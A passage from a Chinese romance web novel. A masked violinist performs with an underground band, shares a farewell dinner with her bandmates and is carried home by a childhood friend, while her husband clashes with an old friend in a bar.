牧衡给他啪啪鼓掌,“牛逼,昨天说要调整状态来见她,今天你还真能跟个没事人一样,但我看你身体上还没调整过来吧?” 郁思弦好不容易止住了咳嗽,扯着自己的领口瞥了他一眼,“麻烦你在这种时候就别说风凉话了,给我拿杯水。” * 陆照霜还没进门,就听到休息室内声音嘈杂,像是有人在吵架。 她赶忙推门进去。 林珩和徐勿凡中间隔着一个人的距离,表情都很凶地对峙着,高若涵和唐湾尴尬地站在他们后面,手都不知道往哪放了。 “对你来说我是不是连个屁都不是?出了这种事,连跟我说一声都不用?”林珩眼眶泛红。 “不然呢,你想听什么答案?”徐勿凡冷笑了一声,目光很刻意地从他干瘦的胳膊上掠过,“你是能帮我给两个畜生一巴掌,还是能给我找个不用被人骚扰的工作?” 陆照霜这下听明白了,原来是为了昨天民宿的那件事。 不是,这种事为什么自己人能吵起来? 她还懵逼着,林珩忽然一指头指到了她身上,“连陆照霜都知道!你们两才认识多久,我们认识多久!在你眼里她都比我重要?” 被突然卷进去的陆照霜:“???” 徐勿凡听笑了,“林珩,别在这里发癫。” 林珩手指颤动了一下,低下头,宛如被陈世美抛弃的糟糠妻,自嘲地笑了一声:“反正我在你眼里,从来都是个废物。” 说完,他直接摔门而去。 徐勿凡眉头拧得很紧,抓了把头发,说着“我出去抽根烟”,也跟着出去了。 陆照霜:“???” 她和屋内的老唐小高大眼瞪小眼,回忆着认识林珩徐勿凡以来的桩桩件件,心底忽浮现出一个难以置信的猜测。 她吞了下口水,艰难又谨慎地问:“他们俩是不是——” 高若涵晃了晃食指,语气颇为唏嘘老成,“单恋。” “还是长达四年的单恋。”一向表现得很可靠很不八卦的唐湾,也在此时插进来这么一句。 “啊这……”陆照霜想起刚才那两个互相对峙、南辕北辙的人,感觉真是……世界之大无奇不有。 “不过,”高若涵顿了顿,皱着鼻子,很费解地嘀咕了一句,“前几个月我们乐队不是闹过一次散伙吗?我和唐哥当时都没什么信心,跟着一起退了,但那时候,勿凡姐好像一直都陪着林珩哥呢。” “你这么说的话……”老唐若有所思地垂下眼,“我算是第三个加入乐队的,当时徐勿凡就已经在了,不知道他们两到底怎么回事,就还确实挺怪的吧?” “啊这……”陆照霜表情更扭曲了。 她没办法想象林珩主动追人的样子,也没法想象徐勿凡会对林珩不离不弃的样子,那场面太荒诞了。 她摇了摇头,把这些想象的画面从脑子里赶了出去,担忧道:“他们这样……今晚还能上台吗?” 高若涵已抱着自己的贝斯在角落弹了起来,闻言抬起头,安抚地朝她笑了笑,“没事,照霜姐,别担心,他们经常这样,不会有影响的。” 看小高和老唐见怪不怪的样子,陆照霜只好强迫自己镇定下来,复习曲谱。 临近上台之际,那两人果然回来了,虽然还透着股尴尬,互相之间根本不说话,但总归是可以和平相处了。 陆照霜抚着胸口,深深地松了口气。 林珩拿起电吉他,回头看着众人,“走吧,该到我们的时间了。” 最近两次演出为他们打下了口碑,今天的搁浅之所以格外拥挤,有一大部分原因,就是因为逃出人*间会上场。 他们几乎是刚一走上舞台,底下就爆发了猛烈的欢呼和掌声。 林珩握着麦,朝台下的观众们低笑了一声:“看来今天在这里的大家,几乎都已经认识我们了啊,不过还是有从没见过的新面孔呢,看来我们的自我介绍环节还是少不了啊。” 底下瞬间哄笑成一团。 但今天的林珩没有再和客人们闲聊打趣,他几乎是睥睨着所有的观众,清了清嗓子。 “Hello,我亲爱的、认识或者不认识的朋友们,我们是今晚表演的乐队——逃出人间!也许你此前从没有听说过我们,但没关系,因为从今天起,你再也不会忘记我们的名字!” 这样狂到极点的自我介绍,成功在台下点燃了引线。 第一次来到搁浅的客人纳闷地向同伴询问:“这人谁啊,怎么狂成这样?” 他对面的老顾客含笑给他比了个“嘘”的手势,“放心,他们的音乐比他们的自我介绍还要狂得多呢!” “我是吉他手林珩!” “这位是主唱徐勿凡!” “贝斯高若涵!” “鼓手唐湾!” “还有,”林珩的目光落过来,“我们的小提琴手——陆湛!” 台下所有人的视线都落在了那个站在舞台边缘的女人身上。 和徐勿凡正好相反,她穿着一身黑色的无袖连衣裙,黑色的别致面具遮住了她的半张脸,只露出白皙圆润的肩头和精致的下半张脸,整个人如同一道黑色的影子。 她的存在感却丝毫没有因此减弱,反而如同一株黑色的鸢尾花,和鲜红的徐勿凡形成了极为浓烈的视觉对比。 掌声更加热烈,比乐队刚出场时的声势还要强烈好几倍。 新客人更加茫然了,“陆湛?这人谁啊,很牛逼吗?” 但已经没有人回答他了。 因为那个黑色鸢尾花一样的女人微微勾起唇角,右手握着小提琴,左手按在胸口上,屈膝朝台下的观众们行了个礼。 一瞬间,整个酒吧几乎要被高呼着“陆湛”的声音和掌声掀翻了。 “陆湛”——其他成员们为陆照霜取的假名。 源自她第一次跟他们上台的那天,身上穿的那条湛蓝的裙子。 这个取名方式相当粗糙,但陆照霜无所谓,一个假名而已,就随他们去了。 可是。 后来的每一次演出,当“陆湛”这个名字,从林珩、从观众们口中叫出来的时候。 她会觉得,好像有另一个埋在身体里的自己,借着这个假名复活了。 再也不顾母亲教导她的、那些对待古典音乐的崇高礼仪,她握住琴弓,只想把当下的自己,投入到当下每一首短促的歌里。 好多天前的那个夜晚,林珩坐在排练房的地板上,顶着一头固执的寸头,痴狂地说:“只要我还有一天活着,我就只想死在那个舞台上。” 她或许还没有林珩那样的执念,可她好像,渐渐能体会到,“我想死在舞台上”是种什么感觉了。 她闭着眼睛,同伴们的乐声、台下的呼喊声、头顶的灯光,仿佛一个拥有强大引力的漩涡,吸引着她在这个舞台上不遗余力,将每一滴汗水投入进去。 “只看他们现在的样子,恐怕谁也想不到,一个月前,逃出人间只能靠着那首《假面》勉强安抚一下观众,给我赶走了不少客人,全靠你私下贴补损失,我才没赶他们走。” “但从陆小姐第一次上场开始,冲着他们来的客人就一次比一次多,再这样下去,我就得搞预约制限制人数了。” 牧衡靠着吧台,环视着酒吧内几乎移不开眼的客人们,感慨了一句。 “思弦,难以置信,你的小青梅真的把这支乐队完全盘活了。” “不用难以置信,她一直都有这样的能力。”郁思弦淡淡道了一声,目光落在舞台边缘。 灯光打在阿照身上,她脸侧濡湿的长发,全情投入到紧绷的小臂,抵着小提琴微偏的头,以及花瓣一样散开的黑色裙摆…… 阿照戴着他送她的那副面具,被遮住了一半脸,但他太熟悉她了,只从她的身体姿态,他就能看得出她有多投入、多自在。 那是比每一首歌、每一个音调,都更打动他的东西。 一切的一切,落在他眼里,全都流光溢彩,好像连注视着这一切的郁思弦,眼里都染了鲜活的光一样。 牧衡不怀好意地道:“后悔了没?你费心费力把她和这个乐队撺掇到一起,眼看着你的小青梅比最开始高兴多了,结果人家一高兴,转头就和她老公和好了。给他人做嫁衣的感觉如何?” 从肺部传来一阵痒意,郁思弦拳头抵住口罩,下意识别开头,对着无人的方向压着嗓子咳嗽了两声。 缓了缓,他才道:“牧衡,我不是圣人。” 牧衡饶有兴致地打量他的神色,但他的目光只注视着舞台的方向。 一种极为怀念的柔和温度,在郁思弦低垂的眉眼中渐渐化开,连他那一身冷寂的黑,也好像被衬得温柔了起来。 “说我心里一点感觉都没有,那是骗人的,但也谈不上后悔。让她能看到我、注意到我,这是我应该做的事,不是她需要负担的义务。” “我怎么会后悔让她觉得开心?” “真感人,”牧衡又给他鼓了个掌,“我以前怎么完全没发现,原来你是这么无私奉献的人啊?” 不知道这句话里哪个词逗到了郁思弦,他笑了。 郁思弦一字一句,像从时间深处而来的长叹。 “牧衡,是你不明白,她曾经送给过我多珍贵的东西。” 28/ 第28章 ◎将她打横抱起◎ “哦?她给你送过什么?”牧衡兴致上来,凑近了好奇地问。 郁思弦靠进椅背,和他拉开距离,眉梢微微挑起,“你觉得我有可能会告诉你?” “嘁,”牧衡无趣极了,“行吧,你就抱着你那点珍贵的回忆溺死吧。” “珍贵的”三个字被他加了极强的重音,透着股显而易见的讽刺。 但郁思弦只是笑了笑,就重新转回身去看演出。 在压台的《假面》表演结束后,所有观众的热情都达到了高潮,“安可”的喊声不绝于耳。 即便逃出人间又演奏了一首曲子,却还是没能满足观众们的渴望,只是把火点得更燃。 牧衡不得不出面,一边指挥人上去控场,一边带逃出人间沿着员工通道走后门。 林珩走着走着,就转过身,一边倒退着往后蹦跶,一边看着乐队众人,走廊黯淡的灯光都掩盖不住他的眉飞色舞。 “你们看到了没?我那个开场白一出来,底下的观众都是什么眼神?我是不是特天才?” 唐湾嘴角抽动了一下,“呃,要不下次还是谦虚点吧,要是不小心哪里弹呲了,他们嘘给我们看怎么办?” “行了老唐,你老这么杞人忧天的,我们就是牛逼,承认了又怎么样?” 唐湾憨实地挠了挠头,也就不说话了。 “其实,”高若涵紧紧抱着怀里的贝斯,耳尖红红的,声音小小的,“我觉得好像这样也不错,感觉……头一次有种万众瞩目的感觉。” “嗯?!!小高你今天真的很有眼光嘛!还有,你的贝斯今天弹得很不错!” 高若涵耳尖更红了,抬眼看向身边的两位姐姐,“还是勿凡姐和照霜姐更厉害。” 徐勿凡和往常一般,表情没什么变化,不咸不淡地嗯了一声,好像浑不在意。 但今天不一样的是,她身边的黑裙女孩忽然弯过身,盯着她的脸看了一会儿,随后眨了一下眼睛,意味深长地笑了声,“徐勿凡,你脸红了,其实就是在高兴嘛。” “陆照霜!”徐勿凡羞恼地咬着牙,“你别得寸进尺!” 大家伙儿头一次见徐勿凡有这么鲜活的表情波动,都震惊地看过来。 徐勿凡顿时抿住唇,绷着脸,“哒哒哒”越过众人,抢先出去了。 唐湾瞠目结舌,给陆照霜比了个大拇指。 陆照霜笑得更厉害了。 高若涵落在最后面,看着被兴奋包裹起来的大家,做梦一样轻声喃喃:“我们不会真的要火了吧?” 身后这几个人叽叽喳喳的,牧衡扶着额,简直没眼看。 “呼,”他嫌弃地咂咂舌,对郁思弦道:“甭管是带去你那个节目还是别的,赶紧把这几个家伙换个地方安顿吧,我这小酒吧可快容纳不了这几尊大佛了。” 郁思弦单手插着兜,好笑地睨了他一眼,“头一次见像你这样上赶着不要商机的。” 牧衡笑了,半真半假地说:“挣钱当然好啊,谁不爱挣钱?但我的‘搁浅’可不是给这种前途一片大好的人的,狂热到这种程度,那就不是‘搁浅’了。” 郁思弦垂下眸,“嗯”了声,“放心,不会太久了。” 出了后门,陆照霜摘下面具,跟牧衡告别后,就该到大家各回各家的时候了。 但她抓着面具的系带,脚尖挨着地面,那句“再见”却怎么也说不出口。 唐湾缓缓开口,“我们——” 陆照霜心里叹了口气。 说到底,天底下没有不散的宴席,况且他们又不是今天过后就不见了。 “要不一起去吃个烧烤吧?” 陆照霜猛地抬头,就见唐湾脸上笑意满满,其他人也都露出意动的眼神。 像生怕大家后悔,高若涵赶忙道:“好啊好啊。” 她搂住陆照霜和徐勿凡的胳膊,撒娇一样恳求:“走吧走吧。” 最后大家一起找了个离得最近的露天烧烤摊。 郁思弦和他们坐得隔了一段距离,面对林珩递过来的烧烤,只是微微笑了一下,“多谢,但我流感还没好,忌荤腥。” “那好吧。”林珩遗憾地把烧烤拿回来,转而递到了陆照霜面前。 陆照霜一边道谢,一边下意识看了郁思弦一眼。 她知道郁思弦有轻微洁癖,不可能会信任这种路边摊的卫生状况,果然见他微不可查地皱了下眉。 陆照霜仿佛碰到教导主任巡逻的学生,下意识挺直了腰板。 但郁思弦开口时,说的是,“阿照,这么晚了,夜宵不好消化,对肠胃不好,适当吃点。” 陆照霜一愣。 红色雨蓬里挂着几串昏黄的小灯,银色的辉光顺着他的眉骨滑落,银框眼镜仿佛摄像机的取景框,将他的眼神裁切而出,春日细雨一样的体面周到。 摊主还在大汗淋漓地干活,其他人都继续说说笑笑做自己的事。 只有陆照霜,在这一瞬间,仿佛被拉进了某个按帧跳动的慢镜头,有什么奇怪的东西拂过她心头,泛起一点轻微的痒意。 郁思弦好像,就从来不会说什么“这种地方”、“这种人”。 他认识林珩他们,比她还要早呢。 是他牵线搭桥,把她和“搁浅”、和“逃出人间”联系在了一起,从此窥见了某种属于夜间的、属于地下的、属于非常规的盛景。 他那么静的人,却把她拉进了这么闹的地方。 他自己好像谈不上多投入,更多的只是保持着距离的旁观和欣赏,刻意将自己的存在感维持在一个不会让大多数人感觉突兀的程度。 陆照霜转过头,端起林珩刚给她倒的啤酒,猛地喝了一口。 好奇怪、好奇怪、好奇怪。 还不等她想明白,奇怪的究竟是萧烨、是郁思弦、还是她自己的时候,林珩忽然站起身,清了清嗓子。 “虽然我觉得这个环节很尴尬,但感觉好像确实到时候了。” 陆照霜注意力回笼,目光落在林珩脸上,很可疑的,她觉得林珩好像脸红了。 “徐勿凡。”林珩低着头,轻轻叫出那个名字。 演出结束前的那场纷争仍旧残留着余韵,他的声音要比其他任何时候都更低、更软弱,像一只敞开了壳的蚌,可以被轻易刺伤到。 “我在大学组的那个乐队早就成型了,我只不过是因为吉他弹得好被他们挑中了,我从没做过队长。在我最初想组乐队的时候,其实我脑子里根本没有任何想法。” “直到那天我听到你的声音,所有想法一下子全冒出来了,啊,原来我想组的是这样的乐队,那种,一定要把我们心里的声音全部嘶吼出去的乐队。” 徐勿凡同样也垂着头,长发遮住了她的脸,没有任何人能看清她的神情,只觉得,她安静得不同寻常。 “所以,徐勿凡,谢谢你,不管你看不看得起我,但没有你的声音,就不会有《逃出人间》。” 林珩这才抬起头,看着仍旧低着头的徐勿凡,笑了下,就把目光转向了唐湾。 “老唐,我第一次见你的时候,跟你说我们这儿可抢手了,我还得再考虑考虑。但其实招成员的公告在网上发了一个月,只有你一个鼓手来找上我,我只是看到你工作那么好,年纪也比我大,怕你看不起我,所以故意那么说的。” “啊?”老唐挠了挠头,愣了半天笑了,“感情是这么回事啊。” “谢谢你老唐,一直包容我所有的冲动和任性,没有你的话,大家可能早就受不了我这个人了。” “哎、哎,怎么突然说这种话。”老唐显然被震得不轻,一边伸手擦着汗,一边红到了脖子上。 “小高。” 这一声刚出来,高若涵就立刻坐直了身体,严肃地保持着表情,准备等待自家队长的表扬。 林珩顿了顿,才有点艰难地道:“唉,说真的,你的贝斯最开始弹得真的很拉,我觉得我上都能比你弹得好,但没办法,谁让我没得选呢。” 高若涵肩膀垮了下去,不是,怎么到了她,就变了个画风呢。 林珩看着她,笑了,“大家都说音乐是有天赋的人才能竞争的舞台,但只有坚持留在这条路上的人,才能谈论天赋这件事。小高,你知道你现在贝斯弹得有多好吗?谢谢你小高,跟我们的乐队一起成长到现在。” 高若涵眨了下眼,眼眶立刻红了。 “思弦,”林珩抬头望向那个坐在另一边的男人,“我知道你不喜欢太矫情,我就不跟你忆往昔了,总之,没有你拉我那一把,我撑不到现在。” 郁思弦拉下口罩,以水代酒,朝他遥遥一敬。 最后,林珩的目光落在陆照霜身上。 陆照霜抬起头,静静地与林珩对视着。 老实说,他们就认识了短短一个月,谈不上有什么珍贵的共同回忆,况且她还是一个大概率会离开他们的非正式成员。 她想不到林珩能对她说什么。 事实上,林珩最后说的,比起对其他人的,也确实要简短得多。 林珩深深地看着她,比那天在排练房里谈心的时候,要更沉静、更真挚,“陆照霜,我做过很多虚无缥缈的白日梦,谢谢你,让我看到我的梦想,原来真的有可能实现。” 陆照霜心里猛地颤动了一下。 她曾经很多次和申城交响乐团聚会,吃到一半,每个人站起来致一段辞,说几句漂亮话,她对这个流程再熟练不过。 熟练到她都有些恶心了。 但今天好像是不一样的。 她不讨厌林珩的每一份感谢,她也不需要勉强自己,就已经有了想要对面前的这些人说的话。 她端起酒杯,注视着大家,眉眼弯起,“谢谢你们,和你们一起演出的日子,是我这一整年来,最快乐的时间。” 大家都愣了一下。 “啊真是!大家今晚怎么这么煽情啊!”高若涵已经开始哭了,“知不知道电视剧里一般演到这种时候,接下来我们就该分道扬镳了啊!这全是flag啊!都给我住嘴,不许煽情了!” 这一下真是,连徐勿凡都没绷住,笑出了声来。 他们吃到凌晨两点才散场。 郁思弦滴酒未沾,为他们每个人叫了车,亲眼看着他们上了车,这才折身回来。 烧烤摊里仍旧很热闹,但陆照霜坐的那一角却很安静。 她仰头盯着头顶的电灯泡,神色很安宁,不知道在想什么。 郁思弦走过去,半蹲在她面前,与她视线平齐,“阿照,醉了吗?” “没醉。”陆照霜脑袋很沉地摇了摇,感觉自己还很清醒。 郁思弦仔细观察着她的眼瞳,确信,嗯,她醉了。 “今天原来是场感谢局,没想到林珩还有这么坦诚的时候。”陆照霜看着桌面上还未被撤走的一片狼藉,自顾自笑了下。 郁思弦虽然不太想在她面前夸赞林珩,但还是赞同道:“他其实本来就是那种直来直去的人。” 毕竟这也是他欣赏林珩的原因。 “讨厌他的人会很讨厌,喜欢他的人会很喜欢,”郁思弦声音很轻地问她:“阿照,你是哪一种?” 陆照霜眨了下眼,费力地思索了一会儿,然后老实回答:“如果平时碰到他,会觉得他很麻烦,但毕竟是合作嘛,就还好,我还挺欣赏他的。” 郁思弦好像被她逗得笑了一下,“这一点我深表赞同。” 突然,陆照霜伸出两只手,用力按在了他肩膀上。 郁思弦一愣,“阿照?” 陆照霜表情看起来格外严肃,仿佛要谈论什么重大命题——如果不是她说话都开始磕巴起来的话。 “我好像,还没有谢你。” “谢我?”郁思弦眉梢挑起,想了想,便道:“如果是要感谢我帮你牵线的话,其实大可不必,你能和他们这么投缘,只是因为你自己。” “不是。”陆照霜摇了摇头,感觉脑袋更沉了。 郁思弦耐心地等着她的下文。 “是谢谢你,是这样的人,”她下意识地笑了下,嘟哝道:“真好。” 说完,她便脑袋沉沉地栽倒在了他肩膀上。 她灼热的呼吸隔着薄薄一层衬衫,烫在他的肩头。 郁思弦两只手垂在身侧,下意识抬起,想拢住她,却又虚虚停住。 有些束手无策。 他僵在原地好半天,终于叹了口气,自嘲地勾起唇角,“阿照……这算好人卡吗?” 郁思弦很好,只是再好,也不被陆照霜喜欢而已。 忽而,她拱在他肩头,打了个喷嚏,整个身体瑟缩了一下。 郁思弦回过神,将外套披在她身上。 恰逢摊主过来收拾桌子,见着这一幕,也没多想,只以为他们是情侣或者夫妻。 他一边擦着桌子,一边好脾气地闲聊了两句,“这几天温差大,到这个点就是得穿外套,不然要感冒的。天气预报说是过一阵还有台风,唉,又出不成摊喽。” 声音透着股轻微的惆怅。 每个人都有自己的生活,郁思弦难以对此做出什么评价,静了静,道:“天会晴的。” 摊主笑了笑,“是啊,天会晴的。” 郁思弦不再犹豫,伸手穿过陆照霜的膝窝,将她打横抱起,朝摊主轻点了下头,便转身离去。 走到他的车旁时,陆照霜已将脸埋进他胸口,很沉地睡着了。 这一刻,一切嘈杂潮水般褪去,他们挨得这样近,轻易让人产生一种拥有彼此的错觉。 他低下头,静静看着她的侧脸许久,才将她抱进后座。 台风会过去,天会晴,但郁思弦的晴天,可能永远不会来。 * 申城音乐厅内。 “我们本次音乐季的闭幕音乐会,就定在6月20号,演奏曲目是马勒的《第九交响曲》,希望大家都能好好练习,给我们本轮音乐季做一个完美的收尾。” 朱高远站在台上,对着乐团众人宣布道。 底下传来不少轻微的议论声,伴随着此起彼伏的咳嗽。 他皱着眉,又补充道:“最近流感频发,也希望大家在练习之余,照顾好自己的身体,气象台已发布台风预警,6月14到15号会有台风登陆,届时大家私下练习即可,在家注意安全。” 会议结束后,大家纷纷散去。 “咳咳。”陆照霜拳头抵住唇,皱着眉把咳嗽压下去,心思还飘在《第九交响曲》的情感表现上,漫不经心地收拾着自己的东西。 这是马勒人生中的最后一首交响乐。 在创作它之前,马勒经历了工作的变动、长女的病逝,和自己心脏病的诊断结果,这一切无疑对马勒的这首交响乐产生了深重的影响,被音乐评论家称之为“浩大的死亡之舞”。 将这首如此严肃的曲目放在闭幕音乐会上,朱老师的野心不言自明。 但……也确实很考验他们的演奏水平。 看来得抽出更多时间练习了。 逃出人间那边也调整了一首新曲子,需要和大家好好地合一下,时间好紧张…… 陆照霜锁上柜门,提起小提琴琴盒,又哐哐咳嗽了一阵。 怎么就感染流感了呢,真是屋漏偏逢连夜雨。 但也实在避不开,她苦笑着想,这场流感来得凶猛,最近她身边70%的人都中招了。 “照霜。” 陆照霜猛地回神,转头看过去。 汪嘉文身子靠着门框,犹豫不决地看着她,“今天晚上没事,我们去看电影吧?” “嘉文……”陆照霜感觉自己几乎有点脱力,“抱歉,我去不了。” 汪嘉文盯着她眼下的青紫,人的身体总是很诚实,疲倦过度,就会这样直白地反映出来。 汪嘉文自顾自地笑了,“我一直知道,你真的对首席特别执着,但你好像比我想得还要执着,光是乐团排练你怎么可能累成这样?你为了当好这个首席,真的好拼命。” “但是,照霜,真的没必要这样吧,人生不是只有乐团的,身体和休息也很重要吧?” “不是因为这个。”陆照霜没想到汪嘉文会产生这种误会,连忙否认,然而要怎么解释,却有点难以阐明。 “嘉文,抱歉,我现在正在做的事,还没有想好怎么跟你说,等过一阵我再告诉你。但这真的不是因为我故意忽略你,我只是——” “你只是有其他更在乎的东西。”汪嘉文打断她,眼神很空。 陆照霜愣住。 她下意识张了张嘴,试图解释、反驳、自证,最后却发现自己无话可说。 她们当前真正的矛盾在于,在陪伴汪嘉文度过轻松愉快的休息时间,和拿出所有空闲去保证乐团和乐队的演出,这两者之间,她的优先级…… 毫无疑问,是后者。 汪嘉文是那种女孩——喜欢逛街、喜欢小动物、喜欢郊游和散步、很需要朋友的陪伴,对工作没有太过于强烈的执着,是那种珍惜着生活的每一份小确幸,认真生活的女孩。 但陆照霜,好像不是这样的。 所以当逃出人间出现,占据了她生活的那么大比重后,她们的生活节奏,再也不可能统一到一起。 “不要露出这样的眼神,照霜,好像你是什么辜负了我的渣男似的,”汪嘉文到了这时,反而尽力扬起唇角,“我们还是朋友嘛,我们只是……” 她再也说不下去,僵硬地笑了笑,小声说了句,“再见,照霜。” 就转身离去了。 陆照霜站在原地,她明白汪嘉文没能说完的话。 她们当然还是朋友,她们只是,再也不是从前那么好的朋友了。 陆照霜拖着沉重的双腿,一步步走到了音乐厅门口。 乌云压城,台风还没有来,但雨却像是已经要下了。 她小跑到停车场,把小提琴放好,坐进驾驶座,认认真真地检查手刹和档位、系上安全带、点火,机械地做着安全驾驶应该要做的一切事宜。 却在做完这一切后,一点也不想动,脱力般倒在椅背上。 她忽然想起很多年前,她曾躲在二楼的楼梯口,目睹过父母间的一场争执。 那时妈妈做完了一次手术,身体还没完全康复,却执意要去演出。 爸爸攥着她的手腕,不肯让她出门。 “你不在乎你的身体,你不在乎我,你也不在乎阿霜,你什么也不在乎!我告诉你章若华,等你哪天病倒了,那个破乐团你也去不了了,那时候你就会发现,你什么都没留下,你连你的家人都没留下!” 爸爸的声音因为压抑着怒气,沉闷又大声,让她觉得好害怕。 妈妈却只是很平静地迎着爸爸的视线。 “我当然知道,如果我想得到一些东西,就一定会失去一些东西。如果这种失去不可避免,那我需要考虑的就只剩下一件事。” “我愿意为了我想要的,付出这些代价吗?” 屋内静了一静,答案不言自明——与丈夫和女儿共度的时光,都是她愿意付出的代价之一。 爸爸脸色苍白地松开了妈妈的手腕。 妈妈站在爸爸身边,顿了顿,说了句,“抱歉。” 然后就推开了家门,一次也没有回头向屋内的父女两看过来。 后来的很多年里,陆照霜生活在章若华近乎残酷的严苛要求下,无数次痛苦到绝望。 她想,她永远不可能成为像妈妈那样的人。 直到现在,她才陡然惊觉。 原来她和妈妈,其实比她以前以为的,要像得多。 她双手拍了拍自己的脸,让自己清醒了一点,然后朝着家的方向驶去。 她还有很多的练习,需要做。 * 酒吧内。 萧烨握着酒杯,已经不知道自己在外流连了多少天,从那天和陆照霜不欢而散开始,他就再也没有回过家。 白天工作,晚上在酒店套房内入睡,醒来后再去工作。 他感觉自己好像重新回到了在加州的那两年,虽然结婚证在身上,但就是捕捉不到婚姻的真实存在。 好像那只是一种虚无的概念。 他和陆照霜做过很多夫妻做的事情,却从没真的像一对夫妻过。 白斯榕坐在他旁边,十分费解地打量着他的侧脸。 这些天,她几乎总会被萧烨叫出来喝酒,她以为萧烨还在为当年的事不忿,想要刻意报复她,因此每每做好了被他刁难的准备。 但,他几乎只是在自顾自喝酒而已。 那为什么非得叫她出来? 过了这么多年,白斯榕已经完全看不懂萧烨到底在想什么了,但既然他心思根本不在这里,白斯榕也就放松了一点。 她轻轻晃动着酒杯,犹豫了一下,还是作为老师的那份心站了上风。 “萧烨,我不知道你在为什么烦恼,但逃避是解决不了问题的,与其每天在这里喝酒,不如去面对问题,结果是好是坏,怎么都是一种答案。” 萧烨嘲讽似的笑了下,“白老师真的是一日为师终身为师。” 什么面对问题? 他不就是去试图解决他跟陆照霜之间的问题,结果她压根不领情吗? 那还有什么好说的。 白斯榕眨了下眼,闭嘴了。 挨了顿说教,萧烨也没有喝酒的心思了,拎起外套就走,“多谢白老师今日作陪,我先走了。” 白斯榕已习惯了他这个做派,躺平摆烂,礼貌微笑,“好的。” 萧烨走近门边,那里却堵着两个熟悉的人影。 杜宇宁,和一个跟杜宇宁玩得很好的狐朋狗友。 杜宇宁工作能力一般,但很能下得去功夫联络人情,但凡见了圈内有名有姓的人物,都会笑脸相迎,何况他们自小关系就熟络。 但今天的杜宇宁却一反常态,眼里没有一丁点笑意,牙关咬得紧紧的。 “杜宇宁?”萧烨皱了下眉,“你怎么回事?” 杜宇宁咬着牙,指着后面的白斯榕道:“我还要问你怎么回事呢!那个女人是谁,你干什么呢萧烨?” 【作者有话说】 感谢读者“初心”投递的手榴弹。 感谢“啊啊啊”、“53080919”、“姜牧”、“梨涡远点pa”、“甘樂”“雾”、“丁丁”、“玖”、“辰熙”投递的营养液。 以及所有看到这里的读者朋友们,非常感谢大家的支持! 29/ 第29章 ◎文案剧情◎ 萧烨头疼地捏了捏鼻梁,“和熟人喝个酒而已,你想到哪儿去了?” “喝酒而已?”杜宇宁嗤笑了一声,“骗谁呢萧烨,你要真就单纯喝个酒,我在夜宴给你留了最好的包房最好的酒,你非要来这儿?” 萧烨觉得好笑,“所以你觉得这说明了什么问题?我要真想做什么见不得人的事,犯得着在这种大庭广众之下?” “没有见不得人是吧?那行,我这就跟陆照霜说你大晚上不回家,是在干嘛。”杜宇宁威胁似的看着萧烨。 萧烨抱着胳膊凉凉地瞥他一眼,笑了,“行,你说。” 杜宇宁和萧烨对视了片刻,还真就掏出了手机。 解锁、打开通讯录、输入“陆”、从跳出的联系人里点开“陆大小姐”…… 这一切动作他做得很慢,像一场沉默的对峙,余光一直盯着身前的萧烨,可直到他做完,萧烨还是抱着胳膊,一动不动。 杜宇宁舌尖抵住齿关,心一横,干脆朝那个绿色的通话键按下去。 几乎就在指尖要触及屏幕的时候,他的手腕猛地被人攥住。 萧烨略平复了一下呼吸,尽量平静地说:“不是那么回事,阿霜喜欢多想,别用这种事去打扰她。” 明明是自己赌赢了,但这一刻,杜宇宁心底却凉了半截。 “萧烨,你还真敢……对不起她。” 他不敢置信地低声喃喃了一句,而后抬起头,死死盯着萧烨的眼睛,“你出国了两年,她就等了你两年,你怎么敢对不起她?” “杜宇宁,你吃错什么药了?”萧烨打量着今天跟个炮仗似的杜宇宁,脸色也渐渐冷了下去。 从结婚以来,萧烨被太多人、以各种身份提点过他的婚姻状况,但这里面,怎么都轮不到杜宇宁吧。 杜宇宁紧抿着唇,一言不发。 倒是他旁边那狐朋狗友看热闹不嫌事大,幸灾乐祸道:“还能是为什么,他不是当年暗恋过陆大小姐吗?” 萧烨心头一惊,下意识去看杜宇宁的表情。 杜宇宁狠狠剁了那朋友一眼,脸色发白、眼神躲闪,心虚的意思再明显不过。 草,萧烨脸色瞬间就不好了。 “陆大小姐”这个戏称,最开始就是杜宇宁带头叫起来的,上学那会儿,杜宇宁总是一边叫着这种戏称,一边在各种场合故意捉弄阿霜。 两个人根本合不来。 但现在告诉*他,那些拙劣的戏弄,都是因为杜宇宁在暗恋阿霜? 别太荒谬了。 可心底却有另一个声音告诉他,青春期有不少男生不就是那样吗?喜欢就要故意去欺负人,根本不知道那到底有多蠢。 萧烨再也按捺不住,一把攥住杜宇宁的衣领,几乎是咬牙切齿,“我拿你当兄弟,你在背后惦记着我老婆?杜宇宁,有你这么做兄弟的吗?” 杜宇宁干脆也破罐子破摔了,“是,我以前是喜欢过陆照霜,那怎么了,我知道我是个烂人,既没往上凑硬要人家看上我,也没故意破坏你们两的关系。” “但你呢萧烨,你可是和她结婚了,你就这么对她的?那我怎么觉得你比我还像个烂人啊?” 明明是讥嘲的话语,但声调里却仿佛透着股对他的失望。 萧烨荒谬到几乎要笑出声来了,他一把将杜宇宁推开,冷冷扫去一眼,“把你那份龌龊心思收收,别来插手我们的事。” 说完,他头也不回,推开酒吧的大门就径自走出,只剩杜宇宁宛如诅咒般的声音缀在身后。 “萧烨,你不就是仗着她喜欢你吗?等她不喜欢你了,你觉得你跟我有什么区别?” 萧烨懒得搭理,一头钻进车内,按下车窗,烦躁地松了松领带。 司机从后视镜偷看了他一眼,被他脸色吓到,便只静静坐着,没敢多说一句。 说实话,以杜宇宁的水平,还不至于让萧烨产生什么危机感。 就,只是,一只属于自己、只黏着自己的小猫,突然被别人觊觎了。 让他非常不爽而已。 “回江源名苑。”他对司机冷声道。 他也并不是被杜宇宁刺激出了占有欲什么的。 就,只是,这房子怎么也挂着他一半名字,那他凭什么不能回呢? 他这么想着,但推开门的那一刻,他动作却变得轻了很多,目光下意识朝客厅里望去,黑漆漆的,空无一人。 他很难说清,那一刻心里什么东西坠下去,空荡荡的感觉。 他打开琴房,还是没人。 漂亮的桃花眼里此刻垂落一片阴翳,他面无表情地上了楼,打开卧室。 从走廊透进去一点稀薄光影,靠窗的床边,薄毯里微微拱起,她背对着他,长发海藻一样散落在床单上。 她还待在那里。 不知道为什么,这种认知突然就让他松了口气。 右脚下意识就要往前迈,却在触及那光影交界的时候,犹豫了一下,重新收了回去。 他轻轻合上门,有什么事情,都等到明天再说好了。 也正因为他很快就把门合上了,所以不知道。 在他走后,陆照霜剧烈地咳嗽了几声,很怕冷似的蜷缩起身体,在梦中也皱着眉头,睡得非常不安稳。 * 